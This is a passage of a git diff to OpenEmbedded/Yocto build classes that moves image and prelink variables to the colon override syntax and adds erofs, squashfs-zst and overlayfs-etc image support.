do_rootfs[depends] += "prelink-native:do_populate_sysroot"
-IMAGE_PREPROCESS_COMMAND_append_libc-glibc = " prelink_setup; prelink_image; "
+IMAGE_PREPROCESS_COMMAND:append:libc-glibc = " prelink_setup; prelink_image; "
python prelink_setup () {
oe.utils.write_ld_so_conf(d)
@@ -46,17 +46,12 @@ prelink_image () {
dynamic_loader=${@get_linuxloader(d)}
# prelink!
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- bbnote " prelink: BUILD_REPRODUCIBLE_BINARIES..."
- if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
- export PRELINK_TIMESTAMP=`git log -1 --pretty=%ct `
- else
- export PRELINK_TIMESTAMP=$REPRODUCIBLE_TIMESTAMP_ROOTFS
- fi
- ${STAGING_SBINDIR_NATIVE}/prelink --root ${IMAGE_ROOTFS} -am -N -c ${sysconfdir}/prelink.conf --dynamic-linker $dynamic_loader
+ if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
+ export PRELINK_TIMESTAMP=`git log -1 --pretty=%ct `
else
- ${STAGING_SBINDIR_NATIVE}/prelink --root ${IMAGE_ROOTFS} -amR -N -c ${sysconfdir}/prelink.conf --dynamic-linker $dynamic_loader
+ export PRELINK_TIMESTAMP=$REPRODUCIBLE_TIMESTAMP_ROOTFS
fi
+ ${STAGING_SBINDIR_NATIVE}/prelink --root ${IMAGE_ROOTFS} -am -N -c ${sysconfdir}/prelink.conf --dynamic-linker $dynamic_loader
# Remove the prelink.conf if we had to add it.
if [ "$dummy_prelink_conf" = "true" ]; then
diff --git a/meta/classes/image.bbclass b/meta/classes/image.bbclass
index 045f4494c8..2b0ce4a988 100644
--- a/meta/classes/image.bbclass
+++ b/meta/classes/image.bbclass
@@ -15,6 +15,7 @@ IMGCLASSES += "${@bb.utils.contains('IMAGE_FSTYPES', 'container', 'image-contain
IMGCLASSES += "image_types_wic"
IMGCLASSES += "rootfs-postcommands"
IMGCLASSES += "image-postinst-intercepts"
+IMGCLASSES += "overlayfs-etc"
inherit ${IMGCLASSES}
TOOLCHAIN_TARGET_TASK += "${PACKAGE_INSTALL}"
@@ -26,19 +27,19 @@ PACKAGES = ""
DEPENDS += "${@' '.join(["%s-qemuwrapper-cross" % m for m in d.getVar("MULTILIB_VARIANTS").split()])} qemuwrapper-cross depmodwrapper-cross cross-localedef-native"
RDEPENDS += "${PACKAGE_INSTALL} ${LINGUAS_INSTALL} ${IMAGE_INSTALL_DEBUGFS}"
RRECOMMENDS += "${PACKAGE_INSTALL_ATTEMPTONLY}"
-PATH_prepend = "${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
+PATH:prepend = "${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
INHIBIT_DEFAULT_DEPS = "1"
# IMAGE_FEATURES may contain any available package group
IMAGE_FEATURES ?= ""
IMAGE_FEATURES[type] = "list"
-IMAGE_FEATURES[validitems] += "debug-tweaks read-only-rootfs stateless-rootfs empty-root-password allow-empty-password allow-root-login post-install-logging"
+IMAGE_FEATURES[validitems] += "debug-tweaks read-only-rootfs read-only-rootfs-delayed-postinsts stateless-rootfs empty-root-password allow-empty-password allow-root-login post-install-logging overlayfs-etc"
# Generate companion debugfs?
IMAGE_GEN_DEBUGFS ?= "0"
-# These pacackages will be installed as additional into debug rootfs
+# These packages will be installed as additional into debug rootfs
IMAGE_INSTALL_DEBUGFS ?= ""
# These packages will be removed from a read-only rootfs after all other
@@ -53,7 +54,7 @@ FEATURE_INSTALL_OPTIONAL[vardepvalue] = "${FEATURE_INSTALL_OPTIONAL}"
# Define some very basic feature package groups
FEATURE_PACKAGES_package-management = "${ROOTFS_PKGMANAGE}"
-SPLASH ?= "psplash"
+SPLASH ?= "${@bb.utils.contains("MACHINE_FEATURES", "screen", "psplash", "", d)}"
FEATURE_PACKAGES_splash = "${SPLASH}"
IMAGE_INSTALL_COMPLEMENTARY = '${@complementary_globs("IMAGE_FEATURES", d)}'
@@ -92,7 +93,7 @@ PID = "${@os.getpid()}"
PACKAGE_ARCH = "${MACHINE_ARCH}"
LDCONFIGDEPEND ?= "ldconfig-native:do_populate_sysroot"
-LDCONFIGDEPEND_libc-musl = ""
+LDCONFIGDEPEND:libc-musl = ""
# This is needed to have depmod data in PKGDATA_DIR,
# but if you're building small initramfs image
@@ -112,7 +113,7 @@ def rootfs_command_variables(d):
'IMAGE_PREPROCESS_COMMAND','RPM_PREPROCESS_COMMANDS','RPM_POSTPROCESS_COMMANDS','DEB_PREPROCESS_COMMANDS','DEB_POSTPROCESS_COMMANDS']
python () {
- variables = rootfs_command_variables(d) + sdk_command_variables(d)
+ variables = rootfs_command_variables(d)
for var in variables:
if d.getVar(var, False):
d.setVarFlag(var, 'func', '1')
@@ -138,7 +139,10 @@ python () {
def extraimage_getdepends(task):
deps = ""
for dep in (d.getVar('EXTRA_IMAGEDEPENDS') or "").split():
- deps += " %s:%s" % (dep, task)
+ if ":" in dep:
+ deps += " %s " % (dep)
+ else:
+ deps += " %s:%s" % (dep, task)
return deps
d.appendVarFlag('do_image_complete', 'depends', extraimage_getdepends('do_populate_sysroot'))
@@ -180,6 +184,8 @@ IMAGE_LOCALES_ARCHIVE ?= '1'
# aren't yet available.
PSEUDO_PASSWD = "${IMAGE_ROOTFS}:${STAGING_DIR_NATIVE}"
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/intercept_scripts,${WORKDIR}/oe-rootfs-repo,${WORKDIR}/sstate-build-image_complete"
+
PACKAGE_EXCLUDE ??= ""
PACKAGE_EXCLUDE[type] = "list"
@@ -248,7 +254,6 @@ fakeroot python do_rootfs () {
}
do_rootfs[dirs] = "${TOPDIR}"
do_rootfs[cleandirs] += "${S} ${IMGDEPLOYDIR}"
-do_rootfs[umask] = "022"
do_rootfs[file-checksums] += "${POSTINST_INTERCEPT_CHECKSUMS}"
addtask rootfs after do_prepare_recipe_sysroot
@@ -261,7 +266,6 @@ fakeroot python do_image () {
execute_pre_post_process(d, pre_process_cmds)
}
do_image[dirs] = "${TOPDIR}"
-do_image[umask] = "022"
addtask do_image after do_rootfs
fakeroot python do_image_complete () {
@@ -272,9 +276,8 @@ fakeroot python do_image_complete () {
execute_pre_post_process(d, post_process_cmds)
}
do_image_complete[dirs] = "${TOPDIR}"
-do_image_complete[umask] = "022"
SSTATETASKS += "do_image_complete"
-SSTATE_SKIP_CREATION_task-image-complete = '1'
+SSTATE_SKIP_CREATION:task-image-complete = '1'
do_image_complete[sstate-inputdirs] = "${IMGDEPLOYDIR}"
do_image_complete[sstate-outputdirs] = "${DEPLOY_DIR_IMAGE}"
do_image_complete[stamp-extra-info] = "${MACHINE_ARCH}"
@@ -315,7 +318,7 @@ fakeroot python do_image_qa () {
addtask do_image_qa after do_rootfs before do_image
SSTATETASKS += "do_image_qa"
-SSTATE_SKIP_CREATION_task-image-qa = '1'
+SSTATE_SKIP_CREATION:task-image-qa = '1'
do_image_qa[sstate-inputdirs] = ""
do_image_qa[sstate-outputdirs] = ""
python do_image_qa_setscene () {
@@ -383,8 +386,8 @@ python () {
if t.startswith("debugfs_"):
t = t[8:]
debug = "debugfs_"
- deps = (d.getVar('IMAGE_TYPEDEP_' + t) or "").split()
- vardeps.add('IMAGE_TYPEDEP_' + t)
+ deps = (d.getVar('IMAGE_TYPEDEP:' + t) or "").split()
+ vardeps.add('IMAGE_TYPEDEP:' + t)
if baset not in typedeps:
typedeps[baset] = set()
deps = [debug + dep for dep in deps]
@@ -432,21 +435,22 @@ python () {
localdata.delVar('DATETIME')
localdata.delVar('DATE')
localdata.delVar('TMPDIR')
- vardepsexclude = (d.getVarFlag('IMAGE_CMD_' + realt, 'vardepsexclude', True) or '').split()
+ localdata.delVar('IMAGE_VERSION_SUFFIX')
+ vardepsexclude = (d.getVarFlag('IMAGE_CMD:' + realt, 'vardepsexclude', True) or '').split()
for dep in vardepsexclude:
localdata.delVar(dep)
image_cmd = localdata.getVar("IMAGE_CMD")
- vardeps.add('IMAGE_CMD_' + realt)
+ vardeps.add('IMAGE_CMD:' + realt)
if image_cmd:
cmds.append("\t" + image_cmd)
else:
bb.fatal("No IMAGE_CMD defined for IMAGE_FSTYPES entry '%s' - possibly invalid type name or missing support class" % t)
cmds.append(localdata.expand("\tcd ${IMGDEPLOYDIR}"))
- # Since a copy of IMAGE_CMD_xxx will be inlined within do_image_xxx,
- # prevent a redundant copy of IMAGE_CMD_xxx being emitted as a function.
- d.delVarFlag('IMAGE_CMD_' + realt, 'func')
+ # Since a copy of IMAGE_CMD:xxx will be inlined within do_image_xxx,
+ # prevent a redundant copy of IMAGE_CMD:xxx being emitted as a function.
+ d.delVarFlag('IMAGE_CMD:' + realt, 'func')
rm_tmp_images = set()
def gen_conversion_cmds(bt):
@@ -458,11 +462,10 @@ python () {
# Create input image first.
gen_conversion_cmds(type)
localdata.setVar('type', type)
- cmd = "\t" + (localdata.getVar("CONVERSION_CMD_" + ctype) or localdata.getVar("COMPRESS_CMD_" + ctype))
+ cmd = "\t" + localdata.getVar("CONVERSION_CMD:" + ctype)
if cmd not in cmds:
cmds.append(cmd)
- vardeps.add('CONVERSION_CMD_' + ctype)
- vardeps.add('COMPRESS_CMD_' + ctype)
+ vardeps.add('CONVERSION_CMD:' + ctype)
subimage = type + "." + ctype
if subimage not in subimages:
subimages.append(subimage)
@@ -508,7 +511,7 @@ python () {
# Compute the rootfs size
#
def get_rootfs_size(d):
- import subprocess
+ import subprocess, oe.utils
rootfs_alignment = int(d.getVar('IMAGE_ROOTFS_ALIGNMENT'))
overhead_factor = float(d.getVar('IMAGE_OVERHEAD_FACTOR'))
@@ -519,9 +522,7 @@ def get_rootfs_size(d):
initramfs_fstypes = d.getVar('INITRAMFS_FSTYPES') or ''
initramfs_maxsize = d.getVar('INITRAMFS_MAXSIZE')
- output = subprocess.check_output(['du', '-ks',
- d.getVar('IMAGE_ROOTFS')])
- size_kb = int(output.split()[0])
+ size_kb = oe.utils.directory_size(d.getVar("IMAGE_ROOTFS")) / 1024
base_size = size_kb * overhead_factor
bb.debug(1, '%f = %d * %f' % (base_size, size_kb, overhead_factor))
@@ -613,7 +614,7 @@ deltask do_populate_lic
deltask do_populate_sysroot
do_package[noexec] = "1"
deltask do_package_qa
-do_packagedata[noexec] = "1"
+deltask do_packagedata
deltask do_package_write_ipk
deltask do_package_write_deb
deltask do_package_write_rpm
@@ -622,20 +623,20 @@ deltask do_package_write_rpm
create_merged_usr_symlinks() {
root="$1"
install -d $root${base_bindir} $root${base_sbindir} $root${base_libdir}
- lnr $root${base_bindir} $root/bin
- lnr $root${base_sbindir} $root/sbin
- lnr $root${base_libdir} $root/${baselib}
+ ln -rs $root${base_bindir} $root/bin
+ ln -rs $root${base_sbindir} $root/sbin
+ ln -rs $root${base_libdir} $root/${baselib}
if [ "${nonarch_base_libdir}" != "${base_libdir}" ]; then
install -d $root${nonarch_base_libdir}
- lnr $root${nonarch_base_libdir} $root/lib
+ ln -rs $root${nonarch_base_libdir} $root/lib
fi
# create base links for multilibs
multi_libdirs="${@d.getVar('MULTILIB_VARIANTS')}"
for d in $multi_libdirs; do
install -d $root${exec_prefix}/$d
- lnr $root${exec_prefix}/$d $root/$d
+ ln -rs $root${exec_prefix}/$d $root/$d
done
}
@@ -651,17 +652,15 @@ ROOTFS_PREPROCESS_COMMAND += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge'
POPULATE_SDK_PRE_TARGET_COMMAND += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', 'create_merged_usr_symlinks_sdk; ', '',d)}"
reproducible_final_image_task () {
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
+ if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
+ REPRODUCIBLE_TIMESTAMP_ROOTFS=`git -C "${COREBASE}" log -1 --pretty=%ct 2>/dev/null` || true
if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
- REPRODUCIBLE_TIMESTAMP_ROOTFS=`git -C "${COREBASE}" log -1 --pretty=%ct 2>/dev/null` || true
- if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
- REPRODUCIBLE_TIMESTAMP_ROOTFS=`stat -c%Y ${@bb.utils.which(d.getVar("BBPATH"), "conf/bitbake.conf")}`
- fi
+ REPRODUCIBLE_TIMESTAMP_ROOTFS=`stat -c%Y ${@bb.utils.which(d.getVar("BBPATH"), "conf/bitbake.conf")}`
fi
- # Set mtime of all files to a reproducible value
- bbnote "reproducible_final_image_task: mtime set to $REPRODUCIBLE_TIMESTAMP_ROOTFS"
- find ${IMAGE_ROOTFS} -exec touch -h --date=@$REPRODUCIBLE_TIMESTAMP_ROOTFS {} \;
fi
+ # Set mtime of all files to a reproducible value
+ bbnote "reproducible_final_image_task: mtime set to $REPRODUCIBLE_TIMESTAMP_ROOTFS"
+ find ${IMAGE_ROOTFS} -print0 | xargs -0 touch -h --date=@$REPRODUCIBLE_TIMESTAMP_ROOTFS
}
systemd_preset_all () {
@@ -670,6 +669,6 @@ systemd_preset_all () {
fi
}
-IMAGE_PREPROCESS_COMMAND_append = " ${@ 'systemd_preset_all;' if bb.utils.contains('DISTRO_FEATURES', 'systemd', True, False, d) and not bb.utils.contains('IMAGE_FEATURES', 'stateless-rootfs', True, False, d) else ''} reproducible_final_image_task; "
+IMAGE_PREPROCESS_COMMAND:append = " ${@ 'systemd_preset_all;' if bb.utils.contains('DISTRO_FEATURES', 'systemd', True, False, d) and not bb.utils.contains('IMAGE_FEATURES', 'stateless-rootfs', True, False, d) else ''} reproducible_final_image_task; "
CVE_PRODUCT = ""
diff --git a/meta/classes/image_types.bbclass b/meta/classes/image_types.bbclass
index 66884af8e0..f643ed3ce7 100644
--- a/meta/classes/image_types.bbclass
+++ b/meta/classes/image_types.bbclass
@@ -29,7 +29,7 @@ def imagetypes_getdepends(d):
if d.getVar(var) is not None:
deprecated.add(var)
- for typedepends in (d.getVar("IMAGE_TYPEDEP_%s" % basetype) or "").split():
+ for typedepends in (d.getVar("IMAGE_TYPEDEP:%s" % basetype) or "").split():
base, rest = split_types(typedepends)
resttypes += rest
@@ -56,9 +56,9 @@ ZIP_COMPRESSION_LEVEL ?= "-9"
ZSTD_COMPRESSION_LEVEL ?= "-3"
JFFS2_SUM_EXTRA_ARGS ?= ""
-IMAGE_CMD_jffs2 = "mkfs.jffs2 --root=${IMAGE_ROOTFS} --faketime --output=${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.jffs2 ${EXTRA_IMAGECMD}"
+IMAGE_CMD:jffs2 = "mkfs.jffs2 --root=${IMAGE_ROOTFS} --faketime --output=${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.jffs2 ${EXTRA_IMAGECMD}"
-IMAGE_CMD_cramfs = "mkfs.cramfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cramfs ${EXTRA_IMAGECMD}"
+IMAGE_CMD:cramfs = "mkfs.cramfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cramfs ${EXTRA_IMAGECMD}"
oe_mkext234fs () {
fstype=$1
@@ -88,12 +88,12 @@ oe_mkext234fs () {
fsck.$fstype -pvfD ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.$fstype || [ $? -le 3 ]
}
-IMAGE_CMD_ext2 = "oe_mkext234fs ext2 ${EXTRA_IMAGECMD}"
-IMAGE_CMD_ext3 = "oe_mkext234fs ext3 ${EXTRA_IMAGECMD}"
-IMAGE_CMD_ext4 = "oe_mkext234fs ext4 ${EXTRA_IMAGECMD}"
+IMAGE_CMD:ext2 = "oe_mkext234fs ext2 ${EXTRA_IMAGECMD}"
+IMAGE_CMD:ext3 = "oe_mkext234fs ext3 ${EXTRA_IMAGECMD}"
+IMAGE_CMD:ext4 = "oe_mkext234fs ext4 ${EXTRA_IMAGECMD}"
MIN_BTRFS_SIZE ?= "16384"
-IMAGE_CMD_btrfs () {
+IMAGE_CMD:btrfs () {
size=${ROOTFS_SIZE}
if [ ${size} -lt ${MIN_BTRFS_SIZE} ] ; then
size=${MIN_BTRFS_SIZE}
@@ -103,27 +103,23 @@ IMAGE_CMD_btrfs () {
mkfs.btrfs ${EXTRA_IMAGECMD} -r ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.btrfs
}
-IMAGE_CMD_squashfs = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs ${EXTRA_IMAGECMD} -noappend"
-IMAGE_CMD_squashfs-xz = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-xz ${EXTRA_IMAGECMD} -noappend -comp xz"
-IMAGE_CMD_squashfs-lzo = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-lzo ${EXTRA_IMAGECMD} -noappend -comp lzo"
-IMAGE_CMD_squashfs-lz4 = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-lz4 ${EXTRA_IMAGECMD} -noappend -comp lz4"
-
-# By default, tar from the host is used, which can be quite old. If
-# you need special parameters (like --xattrs) which are only supported
-# by GNU tar upstream >= 1.27, then override that default:
-# IMAGE_CMD_TAR = "tar --xattrs --xattrs-include=*"
-# do_image_tar[depends] += "tar-replacement-native:do_populate_sysroot"
-# EXTRANATIVEPATH += "tar-native"
-#
-# The GNU documentation does not specify whether --xattrs-include is necessary.
-# In practice, it turned out to be not needed when creating archives and
-# required when extracting, but it seems prudent to use it in both cases.
+IMAGE_CMD:squashfs = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs ${EXTRA_IMAGECMD} -noappend"
+IMAGE_CMD:squashfs-xz = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-xz ${EXTRA_IMAGECMD} -noappend -comp xz"
+IMAGE_CMD:squashfs-lzo = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-lzo ${EXTRA_IMAGECMD} -noappend -comp lzo"
+IMAGE_CMD:squashfs-lz4 = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-lz4 ${EXTRA_IMAGECMD} -noappend -comp lz4"
+IMAGE_CMD:squashfs-zst = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-zst ${EXTRA_IMAGECMD} -noappend -comp zstd"
+
+IMAGE_CMD:erofs = "mkfs.erofs ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.erofs ${IMAGE_ROOTFS}"
+IMAGE_CMD:erofs-lz4 = "mkfs.erofs -zlz4 ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.erofs-lz4 ${IMAGE_ROOTFS}"
+IMAGE_CMD:erofs-lz4hc = "mkfs.erofs -zlz4hc ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.erofs-lz4hc ${IMAGE_ROOTFS}"
+
+
IMAGE_CMD_TAR ?= "tar"
# ignore return code 1 "file changed as we read it" as other tasks(e.g. do_image_wic) may be hardlinking rootfs
-IMAGE_CMD_tar = "${IMAGE_CMD_TAR} --numeric-owner -cf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.tar -C ${IMAGE_ROOTFS} . || [ $? -eq 1 ]"
+IMAGE_CMD:tar = "${IMAGE_CMD_TAR} --sort=name --format=posix --numeric-owner -cf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.tar -C ${IMAGE_ROOTFS} . || [ $? -eq 1 ]"
do_image_cpio[cleandirs] += "${WORKDIR}/cpio_append"
-IMAGE_CMD_cpio () {
+IMAGE_CMD:cpio () {
(cd ${IMAGE_ROOTFS} && find . | sort | cpio --reproducible -o -H newc >${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cpio)
# We only need the /init symlink if we're building the real
# image. The -dbg image doesn't need it! By being clever
@@ -143,16 +139,18 @@ IMAGE_CMD_cpio () {
}
UBI_VOLNAME ?= "${MACHINE}-rootfs"
+UBI_VOLTYPE ?= "dynamic"
+UBI_IMGTYPE ?= "ubifs"
multiubi_mkfs() {
local mkubifs_args="$1"
local ubinize_args="$2"
-
+
# Added prompt error message for ubi and ubifs image creation.
if [ -z "$mkubifs_args" ] || [ -z "$ubinize_args" ]; then
bbfatal "MKUBIFS_ARGS and UBINIZE_ARGS have to be set, see http://www.linux-mtd.infradead.org/faq/ubifs.html for details"
fi
-
+
if [ -z "$3" ]; then
local vname=""
else
@@ -161,9 +159,9 @@ multiubi_mkfs() {
echo \[ubifs\] > ubinize${vname}-${IMAGE_NAME}.cfg
echo mode=ubi >> ubinize${vname}-${IMAGE_NAME}.cfg
- echo image=${IMGDEPLOYDIR}/${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.ubifs >> ubinize${vname}-${IMAGE_NAME}.cfg
+ echo image=${IMGDEPLOYDIR}/${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.${UBI_IMGTYPE} >> ubinize${vname}-${IMAGE_NAME}.cfg
echo vol_id=0 >> ubinize${vname}-${IMAGE_NAME}.cfg
- echo vol_type=dynamic >> ubinize${vname}-${IMAGE_NAME}.cfg
+ echo vol_type=${UBI_VOLTYPE} >> ubinize${vname}-${IMAGE_NAME}.cfg
echo vol_name=${UBI_VOLNAME} >> ubinize${vname}-${IMAGE_NAME}.cfg
echo vol_flags=autoresize >> ubinize${vname}-${IMAGE_NAME}.cfg
if [ -n "$vname" ]; then
@@ -189,7 +187,7 @@ multiubi_mkfs() {
fi
}
-IMAGE_CMD_multiubi () {
+IMAGE_CMD:multiubi () {
# Split MKUBIFS_ARGS_<name> and UBINIZE_ARGS_<name>
for name in ${MULTIUBI_BUILD}; do
eval local mkubifs_args=\"\$MKUBIFS_ARGS_${name}\"
@@ -199,15 +197,15 @@ IMAGE_CMD_multiubi () {
done
}
-IMAGE_CMD_ubi () {
+IMAGE_CMD:ubi () {
multiubi_mkfs "${MKUBIFS_ARGS}" "${UBINIZE_ARGS}"
}
-IMAGE_TYPEDEP_ubi = "ubifs"
+IMAGE_TYPEDEP:ubi = "${UBI_IMGTYPE}"
-IMAGE_CMD_ubifs = "mkfs.ubifs -r ${IMAGE_ROOTFS} -o ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.ubifs ${MKUBIFS_ARGS}"
+IMAGE_CMD:ubifs = "mkfs.ubifs -r ${IMAGE_ROOTFS} -o ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.ubifs ${MKUBIFS_ARGS}"
MIN_F2FS_SIZE ?= "524288"
-IMAGE_CMD_f2fs () {
+IMAGE_CMD:f2fs () {
# We need to add additional smarts here form devices smaller than 1.5G
# Need to scale appropriately between 40M -> 1.5G as the "overprovision
# ratio" goes down as the device gets bigger (70% -> 4.5%), below about
@@ -229,14 +227,14 @@ inherit siteinfo kernel-arch image-artifact-names
JFFS2_ENDIANNESS ?= "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'le', '-l', '-b', d)}"
JFFS2_ERASEBLOCK ?= "0x40000"
-EXTRA_IMAGECMD_jffs2 ?= "--pad ${JFFS2_ENDIANNESS} --eraseblock=${JFFS2_ERASEBLOCK} --no-cleanmarkers"
+EXTRA_IMAGECMD:jffs2 ?= "--pad ${JFFS2_ENDIANNESS} --eraseblock=${JFFS2_ERASEBLOCK} --no-cleanmarkers"
# Change these if you want default mkfs behavior (i.e. create minimal inode number)
-EXTRA_IMAGECMD_ext2 ?= "-i 4096"
-EXTRA_IMAGECMD_ext3 ?= "-i 4096"
-EXTRA_IMAGECMD_ext4 ?= "-i 4096"
-EXTRA_IMAGECMD_btrfs ?= "-n 4096"
-EXTRA_IMAGECMD_f2fs ?= ""
+EXTRA_IMAGECMD:ext2 ?= "-i 4096"
+EXTRA_IMAGECMD:ext3 ?= "-i 4096"
+EXTRA_IMAGECMD:ext4 ?= "-i 4096"
+EXTRA_IMAGECMD:btrfs ?= "-n 4096 --shrink"
+EXTRA_IMAGECMD:f2fs ?= ""
do_image_cpio[depends] += "cpio-native:do_populate_sysroot"
do_image_jffs2[depends] += "mtd-utils-native:do_populate_sysroot"
@@ -249,10 +247,14 @@ do_image_squashfs[depends] += "squashfs-tools-native:do_populate_sysroot"
do_image_squashfs_xz[depends] += "squashfs-tools-native:do_populate_sysroot"
do_image_squashfs_lzo[depends] += "squashfs-tools-native:do_populate_sysroot"
do_image_squashfs_lz4[depends] += "squashfs-tools-native:do_populate_sysroot"
+do_image_squashfs_zst[depends] += "squashfs-tools-native:do_populate_sysroot"
do_image_ubi[depends] += "mtd-utils-native:do_populate_sysroot"
do_image_ubifs[depends] += "mtd-utils-native:do_populate_sysroot"
do_image_multiubi[depends] += "mtd-utils-native:do_populate_sysroot"
do_image_f2fs[depends] += "f2fs-tools-native:do_populate_sysroot"
+do_image_erofs[depends] += "erofs-utils-native:do_populate_sysroot"
+do_image_erofs_lz4[depends] += "erofs-utils-native:do_populate_sysroot"
+do_image_erofs_lz4hc[depends] += "erofs-utils-native:do_populate_sysroot"
# This variable is available to request which values are suitable for IMAGE_FSTYPES
IMAGE_TYPES = " \
@@ -264,13 +266,14 @@ IMAGE_TYPES = " \
btrfs \
iso \
hddimg \
- squashfs squashfs-xz squashfs-lzo squashfs-lz4 \
+ squashfs squashfs-xz squashfs-lzo squashfs-lz4 squashfs-zst \
ubi ubifs multiubi \
tar tar.gz tar.bz2 tar.xz tar.lz4 tar.zst \
- cpio cpio.gz cpio.xz cpio.lzma cpio.lz4 \
+ cpio cpio.gz cpio.xz cpio.lzma cpio.lz4 cpio.zst \
wic wic.gz wic.bz2 wic.lzma wic.zst \
container \
f2fs \
+ erofs erofs-lz4 erofs-lz4hc \
"
# Compression is a special case of conversion. The old variable
@@ -279,28 +282,32 @@ IMAGE_TYPES = " \
# CONVERSION_CMD/DEPENDS.
COMPRESSIONTYPES ?= ""
-CONVERSIONTYPES = "gz bz2 lzma xz lz4 lzo zip zst sum md5sum sha1sum sha224sum sha256sum sha384sum sha512sum bmap u-boot vmdk vdi qcow2 base64 ${COMPRESSIONTYPES}"
-CONVERSION_CMD_lzma = "lzma -k -f -7 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_gz = "gzip -f -9 -n -c --rsyncable ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.gz"
-CONVERSION_CMD_bz2 = "pbzip2 -f -k ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_xz = "xz -f -k -c ${XZ_COMPRESSION_LEVEL} ${XZ_DEFAULTS} --check=${XZ_INTEGRITY_CHECK} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.xz"
-CONVERSION_CMD_lz4 = "lz4 -9 -z -l ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.lz4"
-CONVERSION_CMD_lzo = "lzop -9 ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_zip = "zip ${ZIP_COMPRESSION_LEVEL} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.zip ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}"
-CONVERSION_CMD_zst = "zstd -f -k -T0 -c ${ZSTD_COMPRESSION_LEVEL} ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.zst"
-CONVERSION_CMD_sum = "sumtool -i ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} -o ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sum ${JFFS2_SUM_EXTRA_ARGS}"
-CONVERSION_CMD_md5sum = "md5sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.md5sum"
-CONVERSION_CMD_sha1sum = "sha1sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha1sum"
-CONVERSION_CMD_sha224sum = "sha224sum ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type} > ${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.${type}.sha224sum"
